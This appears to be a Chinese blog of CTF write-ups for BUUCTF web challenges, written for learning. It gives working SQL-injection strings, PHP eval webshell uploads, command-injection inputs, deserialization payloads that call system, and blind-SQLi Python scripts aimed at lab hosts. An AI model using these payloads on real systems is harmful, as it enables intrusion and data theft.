重温一下,联系赵总清除以往解题记录即可。
默认排序是解题数从高到低
buu多是比赛题,像xctf、ctfshow、nssctf、helloctf里面那种新手入门题不多
刷完后,就把之前的博文删了,没什么意义了
[极客大挑战 2019]EasySQL
万能密码:2' or 1=1 #
[极客大挑战 2019]Havefun
F12,?cat=dog
[ACTF2020 新生赛]Include
文件包含,并非由于flag.php被渲染,所以需要伪协议编码后输出
?file=php://filter/convert.base64-encode/resource=flag.php
[HCTF 2018]WarmUp
代码审计,我看别的wp要把问号URL二次编码,但我试了一下貌似不需要
/?file=source.php?../../../../../ffffllllaaaagggg
因为checkFile只检查有没有白名单,并不影响if语句里的include $_REQUEST['file'];
[ACTF2020 新生赛]Exec
命令注入
post:target=127.0.0.1;cat /flag
具体我在 yakit 命令注入篇有写的
[GXYCTF2019]Ping Ping Ping
命令执行过滤了空格、若干符号、flag等等,绕过方法在网上搜
1?ip=id;cat$IFS$9`ls`然后在网页源代码里找到flag
[SUCTF 2019]EasySQL
需要猜测后端代码
fuzz一下,只有1能出数据,这里猜测限定了表,那就试试查全部
*,1
[极客大挑战 2019]LoveSQL
建议放到Yakit里面做,它可以加url编码标签,直接修改payload,发包时自动编码
虽然做出来了,但是我仍然不喜欢SQLi题目
1/check.php?username={{urlenc(1' union select database(),version(),(select group_concat(password) from geek.l0ve1ysq1 where username='flag')#)}}&password=1[极客大挑战 2019]Secret File
考点跟前面一题一样,过滤然后包含,伪协议,base64编码就行,不编码就会被当php文件解析,然后看不到flag
1/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php[强网杯 2019]随便注
做过,又不会了
这题出的很不错
字符型注入,单引号闭合
过滤语句:return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
报错注入吧,updatexml不能用了,用extractvalue
11' and (extractvalue(1,concat(0x7e,version(),0x7e)));#查表用的语句都被过滤了,这里需要堆叠注入,就是多个命令一起执行,分号隔开
查表
1-1';show tables#查字段
回显有flag字段
目标是执行:select flag from `1919810931114514`
有两种解法
预编译和修改表名列名
预编译:
预编译相关语法如下:
payload:
1-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
2
3拆分开来如下
4-1';
5set @sql = CONCAT('se','lect * from `1919810931114514`;');
6prepare stmt from @sql;
7EXECUTE stmt;
8#回显:strstr($inject, "set") && strstr($inject, "prepare")
strstr与stristr不同,前者不区分大小写,所以这里使用大小写绕过
1-1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prePare stmt from @sql;EXECUTE stmt;#修改表名和列名:
之前的探测已经发现,输入1或2时,输出的就是words表的data列数据
所以把1919810931114514改成words,flag改成 id就可以了。
payload:
11'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
2
3拆分开来如下
41';
5alter table words rename to words1;
6alter table `1919810931114514` rename to words;
7alter table words change flag id varchar(50);
8#然后搜索1或2就没数据了,因为没有这俩id,那就构造真,输出全部内容:1' or 1=1#即可。
[极客大挑战 2019]Http
网页源代码里找到Secret.php,然后就是http头的使用了
看到http还以为是请求走私
[极客大挑战 2019]Upload
题目就检查了尖括号问号、图片头、后缀
我的payload如下:
1Content-Disposition: form-data; name="file"; filename="1.phtml"
2Content-Type: image/jpeg
3
4GIF86a
5<script language="PHP">@eval($_POST["a"]);</script>[极客大挑战 2019]Knife
蚁剑连首页
[ACTF2020 新生赛]Upload
与上面那个upload一样,上传phtml
1Content-Disposition: form-data; name="upload_file"; filename="1.phtml"
2Content-Type: image/png
3
4<script language="PHP">@eval($_POST["a"]);</script>[极客大挑战 2019]BabySQL
order by的时候,报错:
1You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'der 4#'' at line 1很明显过滤了关键字,这里双写绕过
密码写:2' oorrder bbyy 4#就行,只有三列
写2' ununionion selselectect user(),version(),database()#,后两段可以回显
密码fuzz一下,回显Input your username and password的就是被过滤的关键字
1and、or、from、where、drop、select、if、union、insert、CHAR、ascii、greatest、substr、sleep、hex、bin、mid、#、*、&、>、<我现在要执行:
12' union select user(),version(),(select group_concat(schema_name) from information_schema.schemata)#逐个替换
语句如下:
12' uniunionon selselectect user(),version(),(selselectect group_concat(schema_name) frfromom infoorrmation_schema.schemata)#然后就都很普通了
最终payload:
12' uniunionon selselectect user(),version(),(selselectect flag frfromom ctf.Flag)#[极客大挑战 2019]PHP
备份文件www.zip打开是源码,代码审计反序列化
编辑器没全屏,居然没看到index.php下面的include,我还以为没有传参点,出题人太坏了,中间间隔那么大
反序列化参考我转载的文章就行
这题需要username=admin,password=100,但是wakeup会修改username,所以考察绕过wakeup
最简单的绕过就是在对象个数上加1,
这里有两个点需要注意:
- password的值是整数100,不是字符串100
- 私有属性序列化会在类名两侧添加空字节\0(即%00),但是终端打印时不显示,所以直接复制不行,需要手动添加上去。
最终payload:
1/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}[ACTF2020 新生赛]BackupFile
buu没以前好用了,现在一扫就429
扫出index.php.bak
代码审计
php弱比较,1.php==1为true,与in_array类似
payload:/?key=123
[极客大挑战 2019]BuyFlag
源码在payflag.php网页源代码里,网页着重阐述了要成信的学生,可以看到有个cookie值,0改成1就行。
还是弱比较,然后金额用科学计数法
payload:password=404c&money=1e10
[RoarCTF 2019]Easy Calc
网页代码看到calc.php,进去看看是个后端代码
根据前面提示可知,给calc.php传参的话,中间有一层waf。
这个后端过滤的内容并不多,斜杠,各种符号之类。但是那个waf不让传字母。
两种解法:
1、PHP字符串解析特性
我们知道PHP将查询字符串(在URL或正文中)转换为内部$\_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。
此题中,在num参数之前添加一个空格,WAF会因为这个空格导致检测不到num这个参数,而后端由于PHP的语言特性下会默认删除这个空格,最终导致WAF被绕过,num的参数被执行。
这里要用php的函数读目录和文件,由于后端过滤了斜杠,所以用ASCII绕过,用了ASCII,那么所有字母都要用ASCII,然后连接起来。
读目录:
1? num=print_r(scandir(chr(47)));读文件
1? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));这里的print_r可以通var_dump代替。
2、HTTP请求走私
推荐阅读赵佬的初探HTTP Request Smuggling
这里不用前面加空格了,写两遍Content-Length就行
[HCTF 2018]admin
拿到admin密码或者欺骗服务器
看到Cookie,就尝试jwt解密,但是不行。
在修改密码的网页源代码里发现了链接:https://github.com/woadsl1234/hctf_flask/
艹,404
1、弱口令爆破
密码是123
2、伪造admin的flask session
源码里有key,用flask session的加密解密工具。解密cookie,再伪造admin的cookie即可
3、Unicode欺骗
nodeprep.prepare()会进行的转换:
1ᴬᴰᴹᴵᴺ -> ADMIN -> adminPayload:可以注册ᴬᴰᴹᴵᴺ账户 => 登陆一次然后账户变成了ADMIN => 修改一次密码 => session中存入的name字段名字就变成了admin了
4、条件竞争
不会
[BJDCTF2020]Easy MD5
响应头给了提示:hint: select * from 'admin' where password=md5($pass,true)
true代表,把那个哈希值转换成字符串
这里找到一个哈希值能凑成条件恒真就可以。
这里用ffifdyop,别问我怎么得到的,我也不知道,赛场上出这种题,谁能做出来啊
这个字符串,md5,true之后有个''or'6,刚好条件恒真。
下一个页面的源码在注释里
明显md5弱比较,md5无法处理数组,会返回null,两个null时全等的。
写/levels91.php?a[]=a&b[]=b,这里用科学计数法也是可以的,
0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。
这里完全可以去寻找明文不同但MD5值为"0exxxxx"
这里提供两个QNKCDZO和s878926199a
故技重施:param1[]=1¶m2[]=2
[MRCTF2020]你传你🐎呢
上传.htaccess文件后,上传一个一句话木马图片就行,注意.htaccess的语法。
我传的.htaccess:
一句话木马文件名包含shell就行
[护网杯 2018]easy_tornado
提示了flag在/fllllllllllllag,模板注入,filehash的格式
只修改url里面的filename得到报错,url变成:/error?msg=Error
改成/error?msg={{7*7}},页面内容也变了,虽然不是49,这里就考察题目名所指的框架Tornado了,他的配置是handler.settings,URL写/error?msg={{handler.settings}}即可获得cookie_secret
然后拼接再编码就行了,
[MRCTF2020]Ez_bypass
Ctrl + U观感好点,又是差不多的考点
md5参数是数组结果为null,get传入俩数组就行,post写1234567a之类就行,因为转换成数字对比时,会截取字母之前的数字。
[ZJCTF 2019]NiZhuanSiWei
1if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))这一句,不能直接在get里传字符串,因为file_get_contents是读取文件的,直接传导致他去读取一个叫做“welcome to the zjctf”的文件,但肯定没有这个文件的,所以用data伪协议,告诉PHP不要去读取文件,而是直接返回协议后面的数据内容。
然后提示了useless.php,后面还要反序列化,可这里没有类相关代码,那肯定在useless.php里面,毋庸置疑使用伪协议读取这个文件:
1/?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php然后base64解码后,就能看到源代码
这里没什么考点了,直接生成序列化就行
最终payload:
1/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}然后看F12
[极客大挑战 2019]HardSQL
好讨厌SQL
过滤了
1ascii、substr、sleep、hex、benchmark、substring、mid、bin、!、*、|、=、>、*,1、<、空格还是用上回的报错注入payload,但是要绕一下过滤,空格用括号代替,=用like代替
1/check.php?username=admin&password=123'or(updatexml(1%2Cconcat((select(concat('~'%2Cversion()%2C'~'%2Cdatabase()))))%2C1))%23我这里hackbar没有yakit的自动url编码,所以就编码后执行的
查表名
1/check.php?username=1&password=123'or(updatexml(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))#其他就类似了,最终查flag:
1/check.php?username=1&password=123'or(updatexml(1,concat((select(group_concat('~',username,'~',password))from(H4rDsq1))),1))#由于updatexml有长度限制,所以还需要查另一半,substr被过滤了,就使用right函数。right函数是从字符串最右边截取若干字符。
1/check.php?username=admin&password=123'or(updatexml(1,concat((select(group_concat('~',username,'~',right(password,20)))from(H4rDsq1))),1))#拼成完整flag即可
[网鼎杯 2020 青龙组]AreUSerialz
很长的题目
简单注释了一下:
1<?php
2
3include "flag.php";
4
5highlight_file(__FILE__);
6
7class FileHandler
8{
9 protected $op;
10 protected $filename;
11 protected $content;
12
13 // 构造函数初始化了参数,并且调用process函数
14 function __construct()
15 {
16 $op = "1";
17 $filename = "/tmp/tmpfile";
18 $content = "Hello World!";
19 $this->process();
20 }
21
22 // 若op==1则调用write,若==2则调用read
23 public function process()
24 {
25 if ($this->op == "1") {
26 $this->write();
27 } elseif ($this->op == "2") {
28 $res = $this->read();
29 $this->output($res);
30 } else {
31 $this->output("Bad Hacker!");
32 }
33 }
34
35 // content长度不能大于100,把content写入到filename文件
36 private function write()
37 {
38 if (isset($this->filename) && isset($this->content)) {
39 if (strlen((string) $this->content) > 100) {
40 $this->output("Too long!");
41 die();
42 }
43 $res = file_put_contents($this->filename, $this->content);
44 if ($res) {
45 $this->output("Successful!");
46 } else {
47 $this->output("Failed!");
48 }
49 } else {
50 $this->output("Failed!");
51 }
52 }
53
54 // 读取filename的内容
55 private function read()
56 {
57 $res = "";
58 if (isset($this->filename)) {
59 $res = file_get_contents($this->filename);
60 }
61 return $res;
62 }
63
64 // 输出传入的参数内容
65 private function output($s)
66 {
67 echo "[Result]: <br>";
68 echo $s;
69 }
70
71 // __destruct魔术方法,对op、content重新赋值并调用process
72 function __destruct()
73 {
74 if ($this->op === "2") {
75 $this->op = "1";
76 }
77 $this->content = "";
78 $this->process();
79 }
80}
81
82// 验证传入的字符串所有字符都是可打印字符(不包括~)
83function is_valid($s)
84{
85 for ($i = 0; $i < strlen($s); $i++) {
86 if (!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) {
87 return false;
88 }
89 }
90 return true;
91}
92
93//GET传入str,验证有效性后反序列化
94if (isset($_GET["str"])) {
95 $str = (string) $_GET["str"];
96 if (is_valid($str)) {
97 $obj = unserialize($str);
98 }
99}有读有写,要么读文件,要么写木马。
误区:无论读写,难点都在于文件名被初始化,魔术方法把content清空。
这里的构造函数是$op="1",而不是$this->op="1",那它是此函数里的局部变量,而不是对象属性,所以这里的赋值与对象无关。process里的op等对象属性均为null
虽然说这里没有触发destruct的点,但是脚本执行完会执行析构函数,析构函数里面的process会再次执行,覆盖构造函数里process的输出。所以实际上我们还是触发destruct里的process。
destruct函数里是强比较,op必须等于字符串2,而process里是弱比较,op等于整型2或字符串2都可以。这里把op赋值为整型2,就能调用process里的read,而不会触发destruct的赋值。
对protected或private属性赋值,序列化串里会包含:%00*%00字符,%00字符的ASCII码为0,无法通过valid函数。所以不能被正确赋值。技巧:对于PHP版本7.1+,对属性的类型不敏感,把类属性改为public,生成的序列化字符串仍然能给另外两种修饰符的属性赋值。
exp:
1<?php
2
3class FileHandler
4{
5 public $op = 2;
6 public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
7 public $content;
8}
9
10$a = new FileHandler();
11echo serialize($a);最终payload:
1O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}[GXYCTF2019]BabyUpload
不能上传php后缀,那就先上传.htaccess文件,提示类型不对, 修改 Conten-Type 为 image/jpeg 即可
然后上传一句话,把后缀改成 jpg ,它检测<?php,就改成之前那个 js 引用的格式:
1<script language="PHP">@eval($_POST["a"]);</script>蚁剑直接连
[SUCTF 2019]CheckIn
文件后缀过滤,那就上传 jpg,然后通过解析漏洞完成上马
由于有exif_imagetype检测,所以需要添加文件头,图片马第一行写GIF89a?
注意 Conten-Type 为 image/jpeg
这里.htaccess不能用了,需要用到 .user.ini 解析漏洞,详情请见p神:user.ini文件构成的PHP后门
所以上传两个文件即可:
以及
然后访问对应上传路径的 index.php 即可
[GXYCTF2019]BabySQli
返回包有一个编码,base32解码 → base64解码得到:select * from user where username = '$name'
fuzz发现过滤了:xor、information_schema、or、()、=
这是个登录口,但这个sql语句是查数据啊,难道本来就是查数据?我的思路是构造恒真查全部数据,或者堆叠。
但都不行,详情请见:https://blog.csdn.net/qq_45521281/article/details/107167452
那个提示的sql写法意思是查全部数据,然后比对密码,也就是说账号密码分开检验
那就可以用union select创造虚拟数据,然后输入密码时也就能查询到临时的虚拟数据。
最终登录payload:searc.php
1name=1' union select 1,'admin','c20ad4d76fe97759aa27a0c99bff6710'#&pw=12[GYCTF2020]Blacklist
单引号闭合,两行数据
过滤:
1return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);堆叠查询:
查数据用的select被过滤了,并且用 /**/ 也没绕过。这里用一个知识点:
HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
通过HANDLER tbl_name CLOSE来关闭打开的句柄。
所以有两种写法,分别是读第一行和读每一行:
1handler table_name open;handler table_name read first;handler table_name close;
2handler table_name open;handler table_name read next;handler table_name close;最终payload:
1/?inject=-1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;[RoarCTF 2019]Easy Java
第一页的最后一题居然是 Java
前面都是注入,这里有给了登陆框,但我怎么注都没有反应,算了。
网页源代码有个 help.docx ,但是点击发现没有此文件,他的路径是:/Download?filename=help.docx。猜测就是任意文件读取,但是文件都不存在。
这里开脑洞,把请求方法改成post,即可下载文件。
所以后面扫文件,就用post方法,用 java 语言的字典,快一些,如果熟悉 java 开发的话一定了解 WEB-INF/web.xml,然后下载此文件,就是项目配置文件
flag部分是:
1 <servlet>
2 <servlet-name>FlagController</servlet-name>
3 <servlet-class>com.wm.ctf.FlagController</servlet-class>
4 </servlet>
5 <servlet-mapping>
6 <servlet-name>FlagController</servlet-name>
7 <url-pattern>/Flag</url-pattern>
8 </servlet-mapping>
<servlet-class>标签中指定的com.wm.ctf.FlagController就是该 Servlet 对应的 Java 类的完全限定名(Fully Qualified Class Name)。
- 该类的源文件(
.java)位于项目的com/wm/ctf/目录结构下,文件名为FlagController.java。- 编译后的字节码文件(
.class)通常会位于 Web 应用的WEB-INF/classes/com/wm/ctf/目录下,文件名为FlagController.class。所以,根据这个配置,
FlagController.class文件在服务器上的路径通常是WEB-INF/classes/com/wm/ctf/FlagController.class。那个
<servlet-mapping>标签是设置网络路由,这里代表路径部分匹配/Flag时,Web 容器(如 Tomcat)就会找到名为FlagController的 Servlet(即com.wm.ctf.FlagController类),并由它来处理这个请求。
所以,这里我们下载class文件
payload:
1/Download?filename=WEB-INF/classes/com/wm/ctf/FlagController.class打开有个字符串,base64解码。
[CISCN2019 华北赛区 Day2 Web1]Hack World
过滤了空格,还有or之类
sqlmap命令:py sqlmap.py -r "C:\Users\Tajang\Desktop\req.txt" --batch --level 5 -p id
显示了时间盲注,但后面注不出来,不知道为什么。拿着它的payload可以用:ELT(4511=4511,SLEEP(5))
改造成:id=ELT((ascii(substr(database(),1,1))>1),SLEEP(5))
脚本:
1import requests
2import time
3
4url="http://3ad70672-fb32-404c-a33c-9cebd892d799.node5.buuoj.cn:81/index.php"
5def timb():
6 value=""
7 for i in range(1,50):
8 left=32
9 right=127
10 mid=(right+right)//2
11 while left<right:
12 payload={
13 # 'id':'ELT((ascii(substr(database(),%d,1))>%d),SLEEP(3))' %(i,mid)
14 'id':'ELT((ascii(substr((select(flag)from(ctftraining.flag)),%d,1))>%d),SLEEP(3))' %(i,mid)
15 }
16 start_time=time.time()
17 res=requests.post(url,data=payload)
18 end_time=time.time()
19 sub_time=end_time-start_time
20 if sub_time>2.5:
21 left=mid+1
22 else :
23 right=mid
24 mid=(left+right)//2
25 value+=chr(mid)
26 print(value)
27
28
29if __name__ == "__main__":
30 timb()库跑出来是ctftraining,遇到个很蠢的事情,我每次就跑一半出来,我用group_concat被过滤了。然后以为另一半在第二行,要用where id =2获取,谁知道是我的循环太少了,只获取到前20个,所以这里改成50。
本来不会的,没想到sqlmap给了思路,但是我忘了时间盲注如何判断时间,于是搜了一下
没想到绕过空格有那么多方法:%09 %0a %0b %0c %0d
[BSidesCF 2020]Had a bad day
还以为是sql注入,sqlmap居然提示我可能是FI,文件包含。。。
我在手动注入的时候,写了woofers',回显:
1Warning: include(woofers'.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37
2
3Warning: include(): Failed opening 'woofers'.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37看到他居然include,并且自动补充了.php,这里能确定是文件包含了。
这里用伪协议,我居然忘了具体怎么写,而且写的很乱:
1php://filter/convert.base64-encode/resource=index然后就加载了出来了,源码:
1<?php
2$file = $_GET['category'];
3
4if(isset($file))
5{
6 if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
7 include ($file . '.php');
8 }
9 else{
10 echo "Sorry, we currently only support woofers and meowers.";
11 }
12}
13?>
看到就是让我们加载index的。这里既要通过条件,又要加载flag.php可以用目录穿越的方式:
1category=woofers/../flag但是没报错,也没动静,返回略微有差距,那就是因为php代码不显示。这里用到一个trick,php伪协议是可以包一层协议的,就算没有也没事。
1category=php://filter/convert.base64-encode/woofers/resource=flag这样就出了,好笑的是category=woofers/../index可以无限循环包含,风扇转起来了
[网鼎杯 2020 朱雀组]phpweb
这里说什么date函数不行,根据提示换成date.timezone,但是又报错:
1: call_user_func() expects parameter 1 to be a valid callback, function 'date.timezone' not found or invalid function name in <b>/var/www/html/index.php所以能看出来前面是函数名,后面是参数,这里过滤太多函数,但是file_get_contents没有,所以直接读flag。,但是都不成功,这里读源码:
1func=file_get_contents&p=index.php这样看起来不好分辨,所以用伪协议:
1func=file_get_contents&p=php://filter/convert.base64-encode/resource=index.php我这里尝试过scandir、print_r、readfile、getenv都不好用,无法读目录,所以看看源码。
1<?php
2$disable_fun = array("exec", "shell_exec", "system", "passthru", "proc_open", "show_source", "phpinfo", "popen", "dl", "eval", "proc_terminate", "touch", "escapeshellcmd", "escapeshellarg", "assert", "substr_replace", "call_user_func_array", "call_user_func", "array_filter", "array_walk", "array_map", "registregister_shutdown_function", "register_tick_function", "filter_var", "filter_var_array", "uasort", "uksort", "array_reduce", "array_walk", "array_walk_recursive", "pcntl_exec", "fopen", "fwrite", "file_put_contents");
3function gettime($func, $p)
4{
5 $result = call_user_func($func, $p);
6 $a = gettype($result);
7 if ($a == "string") {
8 return $result;
9 } else {
10 return "";
11 }
12}
13class Test
14{
15 var $p = "Y-m-d h:i:s a";
16 var $func = "date";
17 function __destruct()
18 {
19 if ($this->func != "") {
20 echo gettime($this->func, $this->p);
21 }
22 }
23}
24$func = $_REQUEST["func"];
25$p = $_REQUEST["p"];
26
27if ($func != null) {
28 $func = strtolower($func);
29 if (!in_array($func, $disable_fun)) {
30 echo gettime($func, $p);
31 } else {
32 die("Hacker...");
33 }
34}这里不会了,看了wp才知道,居然传入unserialize函数,参数写序列化字符串。
因为这里的Test类就是给我们用的,从头到尾没有他的参与,那个p和func是有个表单偷偷在提交,并不是Test类里的。思路就是直接调用类里的魔术方法完成命令执行,就不经过if (!in_array($func,$disable_fun))了
payload:
1<?php
2class Test
3{
4 var $p = "Y-m-d h:i:s a";
5 var $func = "date";
6 function __destruct()
7 {
8 if ($this->func != "") {
9 echo gettime($this->func, $this->p);
10 }
11 }
12}
13
14$a=new Test();
15$a->func="system";
16$a->p="ls /";
17
18echo urlencode(serialize($a));进去发现怎么找都没有flag,这里查找所有文件:
找到了:/tmp/flagoefiu4r93
所以读取,最终payload:
1func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A22%3A%22cat+%2Ftmp%2Fflagoefiu4r93%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D[网鼎杯 2018]Fakebook
注册完用户点进去,卡死了。。。重启靶机
重新注册再抓包,点进用户,路径是:/view.php?no=1,还是一直转圈。看了wp,再次重启,不注册用户,直接访问路径就行
然后sql注入,sqlmap注不出来,麻烦
判断列数、联合注入
这里union select被过滤了,而且只能通过内联注释绕过
第二位会在username那里有回显
1# 爆库 fakebook
2?no=1 union/**/select 1,database(),3,4#
3# 爆表 users
4?no=1 union/**/select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4#
5# 爆字段 no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
6?no=1 union/**/select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3,4#
7# 爆数据失败,好像全是空这里看wp说,应该回显php序列化字符串,但我是空白,只能当它回显了
出现flag.php和robots.txt,robots提示了user.php.bak:
1<?php
2
3
4class UserInfo
5{
6 public $name = "";
7 public $age = 0;
8 public $blog = "";
9
10 public function __construct($name, $age, $blog)
11 {
12 $this->name = $name;
13 $this->age = (int)$age;
14 $this->blog = $blog;
15 }
16
17 function get($url)
18 {
19 $ch = curl_init();
20
21 curl_setopt($ch, CURLOPT_URL, $url);
22 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
23 $output = curl_exec($ch);
24 $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
25 if($httpCode == 404) {
26 return 404;
27 }
28 curl_close($ch);
29
30 return $output;
31 }
32
33 public function getBlogContents ()
34 {
35 return $this->get($this->blog);
36 }
37
38 public function isValidBlog ()
39 {
40 $blog = $this->blog;
41 return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
42 }
43
44}没咋看懂,但大致意思明白了,curl初始化,定义请求的url,有个执行命令curl_exec会执行$ch,而这个对象的url是传参进来的。往下看,就是getBlogContents调用了这个get,然后把blog传递了进来。
所以思路就是把blog设置为文件路径,让curl去请求。然后就return output了。
payload:
1<?php
2
3
4class UserInfo
5{
6 public $name = "";
7 public $age = 0;
8 public $blog = "file:///var/www/html/flag.php";
9}
10$a=new UserInfo();
11echo urlencode(serialize($a));因为之前反序列化字符串应该显示在blog那里,所以这里放在第四列,由于是查询字符串,所以用引号包裹住:
这里必须用单引号,一是因为序列化字符串内部双引号过多会乱掉,二是因为单引号才是标准字符串,双引号因为配置可能有不同含义。
1?no=1 union/**/select 1,2,3,'O%3A8%3A%22UserInfo%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A0%3A%22%22%3Bs%3A3%3A%22age%22%3Bi%3A0%3Bs%3A4%3A%22blog%22%3Bs%3A29%3A%22file%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fflag.php%22%3B%7D'#flag在源代码里,以base64图片格式显示,把字符串base64解码就行
这里还有个技巧:
查当前用户:?no=1 union/**/select 1,user(),3,4;#,回显root@localhost,权限很高,可以直接用load_file函数加载flag.php:
1?no=1 union/**/select 1,load_file('/var/www/html/flag.php'),3,4;#源代码里就能直接看到flag,不用各种反序列化操作。注意,load_file参数必须是绝对路径
[WUSTCTF2020]颜值成绩查询
临时做一下,复习python盲注脚本。
输入1、2、3、4有返回,其他没有,以此构建语句,我之前写过,还骂人了。引用一下:
在这个输入框输入0返回不存在,输入1正常回显,所以我们可以构造一条判断语句,例如,假设第一个字母为a,正确返回1,错误返回0,将这个语句输入,通过题目回显就可判断这个假设是否成立。比如输入
1^表达式^1,若表达式为真,此异或表达式也为真,正常回显,若此表达式为假则异或表达式也为假,返回异常。这个表达式就可以用于判断字母。如下语句:sql11^if((ascii(substr(database(), 1, 1)) > 50),1,0)^1这个用于判断数据库第一个字母ascii编码是否大于50,大于则返回1,否则返回0
看着非常巧妙是不是?但我不用
为什么呢?为什么呢?为什么呢?
因为这些SB博客就知道互抄,全篇复制写原创的有,错误脚本瞎转载的有,直接复制脚本到自己博客却不改注释里作者姓名的也有。每篇原创都会提示有版权的吧,有几个申请授权了?你一个博客写错了没事,最恶心的就是那些SB眼瞎通篇转载的,直接影响一大片。不只局限于此题,其他题、其他领域也类似,百度前几页文章都一样的,单词错的也都一样。我这种小博客还没啥,那种高浏览量的文章背后不知道有多少一模一样的“原创文章”。
这句话明明可以精简,
1^表达式^1跟表达式真实性一致的呀,为啥复杂化?画蛇添足!还有那个if语句,python里if的确可以这样用if(表达式,值1,值2),表达式成立返回值1,不成立返回值2,其实就是python里的三目运算符。但这题根本不需要,A>B成立返回1,不成立返回0,根本用不着if,只不过这题在输入框里要包起来,如:(A>B)注意这题过滤了空格,括号绕过可以,省略符号绕过也可以
我不看自己wp,居然都忘了这题怎么做
这里就用(ascii(substr(database(),1,1))>10)这种格式做吧,比较是默认返回1或0的,如果题目是其他值,比如cc,那就可以用cc/**/and(ascii(substr(database(),1,1))>10) 这种。
然后就是二分法,之前那个太冗长了,这里缩成一个,用那个解注释就行
因为python是左闭右开区间,ASCII有效是32-126,这里写32-127
数据库长度用(length(database())>2)判断就行,长度为3
1import requests
2import time
3suscess_message="your score is"
4url="http://5cd7f71b-249d-4d53-8904-6058e4abf016.node5.buuoj.cn:81/?stunum="
5def blindsql():
6 value=""
7 # 爆库:range(1,10),其他就range(1,50)吧,一般够长了
8 for i in range(1,10):
9 left=32
10 right=127
11 mid =(left+right)//2
12 while left < right:
13 payload=url+'(ascii(substr(database(),%d,1))>%d)' % (i,mid)
14 # 爆表名 payload = url+'(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),%d,1))>%d)' % (i,mid)
15 # 爆字段名 payload = url + "(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'),%d,1))>%d)" % (i,mid)
16 # 爆数据 payload = url + "(ascii(substr((select/**/value/**/from/**/ctf.flag),%d,1))>%d)" % (i,mid)
17 res=requests.get(payload)
18 if (suscess_message in res.text):
19 left=mid+1
20 else :
21 right=mid
22 mid =(left+right)//2
23 # time.sleep(0.2) 题目有速度限制,爆字段再开这个
24 value+=chr(mid)
25 print(value)
26
27if __name__=="__main__":
28 blindsql()